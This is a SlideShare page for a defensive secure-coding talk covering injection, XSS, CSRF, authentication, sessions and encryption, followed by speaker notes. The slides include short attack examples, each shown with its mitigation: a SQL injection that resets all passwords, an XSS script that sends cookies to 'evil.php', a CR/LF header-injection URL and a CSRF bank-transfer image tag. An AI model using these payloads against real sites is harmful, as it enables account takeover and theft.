SlideShare a Scribd company logo
Hack Proof: Software Design
for a Hostile Internet
Robert Bogue
(317) 844-5310
Rob.Bogue@ThorProjects.com
Hack Proof: Software Design for a Hostile Internet
Hack Proof: Software Design for a Hostile Internet
Objective
Secure Code
= Good Code
Agenda
• Vulnerabilities
• Account Management
• Session Management
• Encryption
• Principles
Vulnerabilities
Vulnerability Types
• Buffer Overflow
• Replay
• Man-in-the-Middle
• Injection
• Forgery
Buffer Overflow
• The user provides more
information than was allocated
in memory
• Very few concerns in managed
languages
Replay
• Taking a valid sequence
• Injecting new malicious
commands
• Replaying the modified
sequence
Man-in-the-Middle
• Intercept traffic
• Monitor the traffic
• Pass it on to the real system
Injection
• SQL
• Cross Site Scripting (XSS)
• CR/LF
SQL Injection
• Example:
• a’; UPDATE users SET
password = ‘WooHoo’ --
• Mediation:
• Stored Procedures
• Clean/Screen User Input
• Parameterized Queries
Cross Site Scripting
• Example:
• <SCRIPT type="text/javascript">
var adr =
'../evil.php?cakemonster=' +
escape(document.cookie);
</SCRIPT>
• Mediation
• Clean/Screen User Input
• Screen User Output
CR/LF Injection
• Example:
• http://www.yoursite.com/somepa
ge.php?page=%0d%0aContent-
Type: text/html%0d%0aHTTP/1.1
200 OK%0d%0aContent-Type:
text/html%0d%0a%0d%0a%3Chtm
l%3EHacker Content%3C/html%3E
• Mediation:
• Clean/Screen User Input
Forgery
• Cross-Site Request Forgery
(CSRF/XSRF)
• Example
• <img
src="http://bank.com/transfer.do?ac
ct=MARIA&amount=100000"
width="0" height="0" border="0">
• Mitigation
• Require session ID with request
• Use POST with CORS (restricted)
Account
Management
Authentication Management
• Password Requirements
• Complexity
• History
• Operations
• Password Reset
• Login Failure
• Consistent Response
• Account Lockout
Authentication Technique
• HTTP
• Basic
• NTLM
• V1
• V2
• Kerberos
• Forms
• Claims
Claims
• Parties
• Issuers
• Relying Parties
• Benefits
• Single Sign On
• Transfer of responsibility
• Flexibility
User Validation
• Email
• Account Setup
• Multifactor
• Tokens (RSA)
• Grid Card
• Phone
• Text
• Phone Call
• App
Session Management
Timeout
• Fixed
• Sliding
Cookies
• Scope (Parent Domain)
• Sensitive (HTTP Only, Secure)
• Session IDs (Not Secure info)
Encryption
GoalsofEncryption
History of Encryption
• Symmetric (Private)
• Hash (One-Way)
• Asymmetric (Public-Private)
Symmetric
• One Key Encrypts and Decrypts
• Called Private/Secret Key
• Computationally Fast
• Problem: Exchanging the Secret
Key
CC BY-SA 4.0 – Alessandro Nassiri
Hash
• Large message converted to
smaller hash value
• Small change in source causes
large change in hash
• Add “secret” salt to accomplish
authentication
Asymmetric
• Pair of keys – one public and one
private
• Computationally expensive
Encrypt a Verifiable Message
1. Add salt (randomness)
2. Hash message
3. Encrypt message with private
key
Authenticate a Message
1. Get Public Key and Decrypt
2. Generate your hash of the
message
3. Compare your hash to the one
provided
Certificates
• Host Identifiers
• Approved Uses
• Public Key
• Other Certificates (Signed with
Private Key)
Certificate Chain
1. Trusted a 3rd party
authenticates party B
2. 3rd Party issues certificate with
encrypted certificate of party
B enclosed
3. Party A knows party B by
matching host identifiers and
decrypting a message from
them with the public key
Transport Layer Security
(Simplified)
1. Initiate conversation with list
of ciphers
2. Server responds with ciphers
and certificate
3. Client confirms certificate,
generates session keys,
encrypts with server public
key, and sends
WhentoEncrypt
Principles
Don’t Share
• Don’t
• Transmit information you don’t have to
• Display errors to the user
• Let browsers control caching
• Do
• Provide least privileges
Resources
• http://www.owasp.org
• Information and resources about web application security
• Education about vulnerability / fault categories and protection
strategies
Common Weakness
Enumeration (CWE)
• http://cwe.mitre.org
• Listing of weakness types
• Categorization of weaknesses
Common Attack Pattern
Enumeration and Classification
(CAPEC)
• http://capec.mitre.org
• Listing of vectors of attack
against applications
NVD Common Vulnerability
Scoring System
• https://nvd.nist.gov/CVSS/v3-
calculator
• Unified scoring of vulnerabilities
• Built in calculator
Discussion
Hack Proof: Software Design for a Hostile Internet
Thank
You
Rob.Bogue@ThorProjects.com
(317) 844-5310

More Related Content

PDF
An Introduction to DANE - Securing TLS using DNSSEC
PPTX
OpenSSL
PPTX
kerberos
PDF
TLS/SSL Protocol Design
PDF
SSl/TLS Analysis
PDF
18CS2005 Cryptography and Network Security
PDF
SSL Secure socket layer
An Introduction to DANE - Securing TLS using DNSSEC
OpenSSL
kerberos
TLS/SSL Protocol Design
SSl/TLS Analysis
18CS2005 Cryptography and Network Security
SSL Secure socket layer

What's hot (20)

PPT
PDF
Webinar SSL English
PPTX
Secure Socket Layer (SSL)
PPT
PPTX
SSL/TLS 101
PPTX
Introduction to SSL/TLS
PDF
SSL/TLS
PPTX
Cryptography by Afroz haider mir
PPTX
Secure Socket Layer
PDF
BlueHat v17 || 28 Registrations Later: Measuring the Exploitation of Residual...
PPT
What is SSL ? The Secure Sockets Layer (SSL) Protocol
PPTX
Ssl in a nutshell
PPTX
BlueHat v17 || TLS 1.3 - Full speed ahead... mind the warnings - the great, t...
PDF
Cryptography101
PPT
X 509 Certificates How And Why In Vb.Net
PPT
Secure Communication with an Insecure Internet Infrastructure
PPTX
cryptography security
PPTX
Transport Layer Security (TLS)
PDF
TLS/SSL Protocol Design 201006
Webinar SSL English
Secure Socket Layer (SSL)
SSL/TLS 101
Introduction to SSL/TLS
SSL/TLS
Cryptography by Afroz haider mir
Secure Socket Layer
BlueHat v17 || 28 Registrations Later: Measuring the Exploitation of Residual...
What is SSL ? The Secure Sockets Layer (SSL) Protocol
Ssl in a nutshell
BlueHat v17 || TLS 1.3 - Full speed ahead... mind the warnings - the great, t...
Cryptography101
X 509 Certificates How And Why In Vb.Net
Secure Communication with an Insecure Internet Infrastructure
cryptography security
Transport Layer Security (TLS)
TLS/SSL Protocol Design 201006

Similar to Hack Proof: Software Design for a Hostile Internet (20)

PDF
InfoSecurity Europe 2015 - Identities Exposed by David Johansson
PPTX
Certificate pinning in android applications
PPTX
Redesigning Password Authentication for the Modern Web
PDF
020618 Why Do we Need HTTPS
PDF
presentation2-151203145018-lva1-app6891.pdf
PPTX
Certificates, PKI, and SSL/TLS for infrastructure builders and operators
PPTX
How the SSL/TLS protocol works (very briefly) How to use HTTPS
PPTX
TLS/SSL - Study of Secured Communications
PPTX
BSIDES-PR Keynote Hunting for Bad Guys
PPTX
chapter4.pptxwgdyjshcbnbhvegwydvquhcjdvqigufwk
PDF
CNIT 129S Ch 7: Attacking Session Management
PDF
How does TLS work?
PPTX
Module III CNS Kerberos and its example.pptx
PDF
CNIT 129: 6. Attacking Authentication
PDF
#MoreCrypto : Introduction to TLS
PDF
CNIT 129S: Ch 7: Attacking Session Management
PDF
Ch 6: Attacking Authentication
PPT
Bsides-Philly-2016-Finding-A-Companys-BreakPoint
PDF
Ch 7: Attacking Session Management
PPTX
Secure socket layer
 
InfoSecurity Europe 2015 - Identities Exposed by David Johansson
Certificate pinning in android applications
Redesigning Password Authentication for the Modern Web
020618 Why Do we Need HTTPS
presentation2-151203145018-lva1-app6891.pdf
Certificates, PKI, and SSL/TLS for infrastructure builders and operators
How the SSL/TLS protocol works (very briefly) How to use HTTPS
TLS/SSL - Study of Secured Communications
BSIDES-PR Keynote Hunting for Bad Guys
chapter4.pptxwgdyjshcbnbhvegwydvquhcjdvqigufwk
CNIT 129S Ch 7: Attacking Session Management
How does TLS work?
Module III CNS Kerberos and its example.pptx
CNIT 129: 6. Attacking Authentication
#MoreCrypto : Introduction to TLS
CNIT 129S: Ch 7: Attacking Session Management
Ch 6: Attacking Authentication
Bsides-Philly-2016-Finding-A-Companys-BreakPoint
Ch 7: Attacking Session Management
Secure socket layer
 

More from Rob Bogue (20)

PPTX
Changing to a knowledge management culture
PPTX
Practical Information Architecture
PPTX
Conflict Resolution for Professionals
PPTX
Conflict Resolution - Causes and Cures
PPTX
Enterprise Documents Secure and On the Go
PPTX
Radical Requirements: Tips For Delivering What They Want
PPTX
Requirements Gathering for SharePoint Developers
PPTX
Converting Strategy to Execution
PPTX
Sharing for the Social Skeptic
PPTX
Card Sorting Your Way to Meaningful Metadata
PPTX
Converting from an EMail Culture to Sharepoint Culture
PPTX
Top Ten Non-SharePoint Technical Issues that Can Doom Your Implementation
PPTX
RE-Introduction to Workflow
PPTX
Five Ways to Make SharePoint Your Intranet Home
PPTX
SharePoint 2010: Set Employee Communications Free, Cut Email Clutter, Drive I...
PPTX
Converting an eMail Culture into a SharePoint Culture
PPTX
Increasing SharePoint Engagement
PPTX
SharePoint for Knowledge Management
PPTX
Implementing SharePoint 2013 ECM Solutions
PPTX
Practical Information Architecture
Changing to a knowledge management culture
Practical Information Architecture
Conflict Resolution for Professionals
Conflict Resolution - Causes and Cures
Enterprise Documents Secure and On the Go
Radical Requirements: Tips For Delivering What They Want
Requirements Gathering for SharePoint Developers
Converting Strategy to Execution
Sharing for the Social Skeptic
Card Sorting Your Way to Meaningful Metadata
Converting from an EMail Culture to Sharepoint Culture
Top Ten Non-SharePoint Technical Issues that Can Doom Your Implementation
RE-Introduction to Workflow
Five Ways to Make SharePoint Your Intranet Home
SharePoint 2010: Set Employee Communications Free, Cut Email Clutter, Drive I...
Converting an eMail Culture into a SharePoint Culture
Increasing SharePoint Engagement
SharePoint for Knowledge Management
Implementing SharePoint 2013 ECM Solutions
Practical Information Architecture

Recently uploaded (20)

PPTX
June-4-Sermon-Powerpoint.pptx USE THIS FOR YOUR MOTIVATION
PPTX
Job_Card_System_Styled_lorem_ipsum_.pptx
PDF
Introduction to the IoT system, how the IoT system works
PPTX
522797556-Unit-2-Temperature-measurement-1-1.pptx
PDF
APNIC Update, presented at PHNOG 2025 by Shane Hermoso
PPTX
Introduction about ICD -10 and ICD11 on 5.8.25.pptx
PDF
RPKI Status Update, presented by Makito Lay at IDNOG 10
PDF
Automated vs Manual WooCommerce to Shopify Migration_ Pros & Cons.pdf
PDF
Unit-1 introduction to cyber security discuss about how to secure a system
PDF
An introduction to the IFRS (ISSB) Stndards.pdf
PPTX
artificial intelligence overview of it and more
PPTX
Slides PPTX World Game (s) Eco Economic Epochs.pptx
PPTX
INTERNET------BASICS-------UPDATED PPT PRESENTATION
PPTX
Digital Literacy And Online Safety on internet
PDF
The Internet -By the Numbers, Sri Lanka Edition
PDF
FINAL CALL-6th International Conference on Networks & IOT (NeTIOT 2025)
PDF
Decoding a Decade: 10 Years of Applied CTI Discipline
PPTX
Introduction to Information and Communication Technology
PPT
Design_with_Watersergyerge45hrbgre4top (1).ppt
PPTX
Power Point - Lesson 3_2.pptx grad school presentation
June-4-Sermon-Powerpoint.pptx USE THIS FOR YOUR MOTIVATION
Job_Card_System_Styled_lorem_ipsum_.pptx
Introduction to the IoT system, how the IoT system works
522797556-Unit-2-Temperature-measurement-1-1.pptx
APNIC Update, presented at PHNOG 2025 by Shane Hermoso
Introduction about ICD -10 and ICD11 on 5.8.25.pptx
RPKI Status Update, presented by Makito Lay at IDNOG 10
Automated vs Manual WooCommerce to Shopify Migration_ Pros & Cons.pdf
Unit-1 introduction to cyber security discuss about how to secure a system
An introduction to the IFRS (ISSB) Stndards.pdf
artificial intelligence overview of it and more
Slides PPTX World Game (s) Eco Economic Epochs.pptx
INTERNET------BASICS-------UPDATED PPT PRESENTATION
Digital Literacy And Online Safety on internet
The Internet -By the Numbers, Sri Lanka Edition
FINAL CALL-6th International Conference on Networks & IOT (NeTIOT 2025)
Decoding a Decade: 10 Years of Applied CTI Discipline
Introduction to Information and Communication Technology
Design_with_Watersergyerge45hrbgre4top (1).ppt
Power Point - Lesson 3_2.pptx grad school presentation

Hack Proof: Software Design for a Hostile Internet

Editor's Notes

  • #5: Footprints… Key milestones Talk about the types, show a few techniques for solving, create awareness If you’re an app dev – good summary/breadth/tools If you’re a app security guy – Tools for discussing w/ developers
  • #8: Simultaneous toilet flushing causing problems.
  • #9: Or running aground… that’s why we have lighthouses… ways to keep us from running around.
  • #10: i.e. if you’re not programming in C++, it’s probably not a problem. By the way, does anyone know what an interrupt table is? (Very start of memory.)
  • #12: Yogi Berra “You can observe a lot just by watching.”
  • #14: Stored procedures don’t help if you end up doing dynamic SQL inside of them.
  • #15: Note example from OWASP.org site (Open Web Application Security Project)
  • #16: From Acunetix web site. Mostly not a problem in .NET / Encoding on by default/ IIS 7+ will block
  • #17: Require a session for calls… use to transition to Session Management Require Session as a part of submitted information POST HTTP Method CORS = Cross-Origin Resource Sharing / Allows Javascript to make requests across domains.
  • #21: Claims example… Drivers License. Including identity, method of verification, and additional attributes. Transfer of responsibility = pass the buck. (Good thing here.)
  • #27: Secrecy/Privacy Authenticity/Non-Repudiation
  • #28: Hieroglyphs show used in Egypt circa 1900 BC Symmetric – Enigma (German encryption) Public-Private- Computationally expensive – used to securely exchange keys for symmetric Hash – One way – Passwords…
  • #29: Picture is an enigma machine. World War II era encryption/cypher device We captured U-505 June 4, 1944 and got the largest cache of intelligence recovered in WWII – including two Enigma machines.
  • #30: Diamonds start as carbon and are heated and compressed to form diamonds… they have hidden signatures (flaws) in them. They are small but expensive… Hashs like the weather… a butterfly flapping wings in Brazil causes tornado in Texas. A small change (or misobservation) can lead to a large change in results.
  • #31: This is to START SSL – to trade the private key
  • #37: In Transit – SSL… Use HTTP Strict Transport Security to force SSL At Rest – We can’t force them to use hard drive encryption – too many machines disappear.